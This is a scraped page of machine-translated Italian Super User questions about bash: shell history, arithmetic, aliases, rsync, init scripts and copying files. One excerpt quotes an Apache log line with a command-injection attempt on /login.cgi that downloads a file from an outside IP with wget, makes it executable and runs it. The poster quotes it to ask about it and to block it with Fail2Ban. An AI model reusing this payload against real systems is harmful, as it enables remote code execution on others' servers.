La mia storia di bash ha misteriosamente smesso di funzionare e non ho idea di come risolverlo. Ecco come appare il mio .bashrc: HISTSIZE=500 HISTFILESIZE=500 HISTFILE=$HOME/.bash_history Tuttavia, quando echo $HISTFILElo eseguo stampa /Users/myusername/.bash_sessions/EE8689E5-7DAD-4018-817E-0AF1DE36082A.historynew. Sono il proprietario del file .bash_history, quindi non sono troppo sicuro di come risolvere il problema. Grazie!
Mi chiedevo, è possibile fare semplici calcoli in bash? Sto pensando a qualcosa del genere, = 25-5 ne stamperebbe 20 o qualcosa del genere. Questo può essere fatto facilmente? Grazie
Se imposti o esporti una variabile d'ambiente in bash, puoi annullarla . Se si imposta un alias in bash, è possibile unaliarlo . Ma non sembra esserci una mancanza . Considera questa (banale) funzione bash, ad esempio, impostata in un file .bash_aliases e letta all'inizializzazione della shell. function foo () …
Possibile duplicato: come posso spostarmi in modo efficiente nella riga di comando bash? Nel prompt di Windows, è possibile tornare indietro o in avanti di una parola premendo ctrle <-/->. Qual è l'equivalente in un ambiente bash?
Di tanto in tanto sarebbe utile aggiungere un comando direttamente alla cronologia in Bash senza eseguirlo effettivamente. Finora la cosa chiusa che ho trovato è aggiungere un #davanti e colpire il ritorno. Ci sono modi migliori?
Ho un processo che viene eseguito dallo script init.d in background. Per esempio: case "$1" in start) /bin/myprocess & stop) killall myprocess restart) killall myprocess /bin/myprocess & esac In determinate condizioni, il processo multiplo può non riuscire e tornare. Esiste un modo (standard) per rilevarne l'errore e riavviarlo automaticamente?
C'è un modo per ottenere rsync per stampare i percorsi file completi su tutti i file che sono diversi senza trasferire effettivamente alcun file? In alternativa, ho bisogno di un modo per diffondere i file tra due alberi (su SSH) basandomi solo sulla modifica delle dimensioni o sull'ora dell'ultima modifica.
Questo file di script BASH a comando singolo è difficile da capire, quindi voglio scrivere un commento per ciascuna delle azioni: echo 'foo' \ | sed 's/d/a/' \ | sed 's/e/b/' \ | sed 's/f/c/' \ > myfile (sed è solo un esempio, in realtà è un mix di greps, …
Questa domanda è stata migrata da Stack Overflow perché è possibile rispondere a Super User. Migrato 9 anni fa . Devo copiare una cartella / home / user da un disco rigido a un altro. Ha 100.000 file e circa 10G di dimensione. Io uso cp -r /origin /destination a …
Se inizio una sceneggiatura che impiegherà molto tempo, inevitabilmente me ne rendo conto dopo aver iniziato la sceneggiatura e vorrei avere un modo di fare una sorta di avviso una volta terminato. Quindi, ad esempio, se corro: really_long_script.sh e premi invio ... come posso eseguire un altro comando al termine?
Uso bash sia sul mio Mac sia come shell Cygwin. Nel complesso, sono abbastanza soddisfatto. La mia unica lamentela è che il completamento della TAB non è buono come il completamento della TAB della riga di comando di Windows. Ad esempio, se ci sono due file con lo stesso prefisso, …
Ho notato nei registri di Apache sui miei server, le seguenti strane righe recentemente: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Quindi ho creato un filtro Fail2Ban personalizzato e ho iniziato a vietare gli IP richiedendo questi URL /login.cgi. Ma ero curioso di sapere cosa …
In bash, puoi usare !*per ottenere tutti gli argomenti dal comando precedente. Ad esempio, se lo facessi cp /some/path /some/other/pathe lo facessi mv !*, il secondo comando verrebbe espanso in mv /some/path /some/other/path. Esiste qualcosa di simile che può essere utilizzato per accedere a un argomento specifico da un comando …
Se volessi copiare tutti i *.sofile da srca dstfarei: cp src/*.so dst Tuttavia, voglio copiare tutti *.soi file da src e IT di sottodirectory in dst. Qualche indizio?
We use cookies and other tracking technologies to improve your browsing experience on our website,
to show you personalized content and targeted ads, to analyze our website traffic,
and to understand where our visitors are coming from.
By continuing, you consent to our use of cookies and other tracking technologies and
affirm you're at least 16 years old or have consent from a parent or guardian.